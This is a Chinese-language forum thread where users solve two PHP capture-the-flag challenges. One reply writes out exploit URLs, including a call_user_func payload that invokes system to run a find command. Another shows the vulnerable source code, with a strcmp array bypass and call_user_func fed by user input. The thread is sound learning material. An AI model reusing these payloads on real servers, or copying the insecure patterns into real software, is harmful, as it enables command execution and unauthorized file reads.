V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
yxzblue
V2EX  ›  PHP

两道 PHP 题目,都是求 flag 值

  •  
  •   yxzblue · 3 天前 · 1143 次点击
    8 条回复    2024-10-19 10:24:47 +08:00
    virusdefender
        1
    virusdefender  
       3 天前   ❤️ 1
    ctf 老技巧了
    Anakin078
        2
    Anakin078  
       3 天前   ❤️ 1
    flag{c4ca4238a0b923820dcc509a6f75849b}
    flag{19a0664d0b3d997318f6e4940240e91c}
    Anakin078
        3
    Anakin078  
       3 天前
    网络安全这么好玩,不去学一下吗 hhh
    user20190708
        4
    user20190708  
       3 天前   ❤️ 1
    1.
    /?1=hacker&2[]=%0
    flag{c4ca4238a0b923820dcc509a6f75849b}

    2.
    /?a=system&b=find%20/%20-name%20"*flag*"
    /?a=read&b=/flag
    flag{19a0664d0b3d997318f6e4940240e91c}
    aloxaf
        5
    aloxaf  
       3 天前
    拿去考了一下 AI ,发现 claude 3.5 真的不错,第一题准确判断出了是 strcmp 的参数漏洞,其他都都让我输入 flag……
    ahu
        6
    ahu  
       3 天前   ❤️ 3
    第一题:

    <?php
    highlight_file(__FILE__);
    include('flag.php');
    $g = $_GET['1'];
    if (preg_match('/^hacker$/im', $g)) {
    if (strcmp($_GET['2'],$flag) == 0) {
    echo $flag;
    }
    }
    ?>

    考的是 strcmp 的漏洞:弱类型转换后 null == 0 。

    strcmp("foo", array()) => NULL + PHP Warning
    strcmp("foo", new stdClass) => NULL + PHP Warning
    strcmp(function(){}, "") => NULL + PHP Warning

    第二题:

    <?php
    highlight_file(__FILE__);

    function scan($directory){
    return var_dump(scandir($directory));
    }

    function read($f){
    echo file_get_contents($f);
    }

    call_user_func($_GET['a'], $_GET['b']);

    ?>

    考的是 call_user_func 的漏洞:如果直接将用户输入的内容作为参数,则可以执行任意命令。
    先用 ?a=scan&b=/ 找出 flag 文件,然后用 ?a=read&b=/flag 读出 flag 文件内容
    yxzblue
        7
    yxzblue  
    OP
       3 天前
    感谢,提供思路
    vevlins
        8
    vevlins  
       3 天前
    楼上说 ai 的那位给了启发,感觉 ai 还是可以的,我把代码给了 kimi ,两个问题都给出了问题点,稍微搜索一下对应知识点就找到了答案。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   5687 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 35ms · UTC 02:50 · PVG 10:50 · LAX 19:50 · JFK 22:50
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.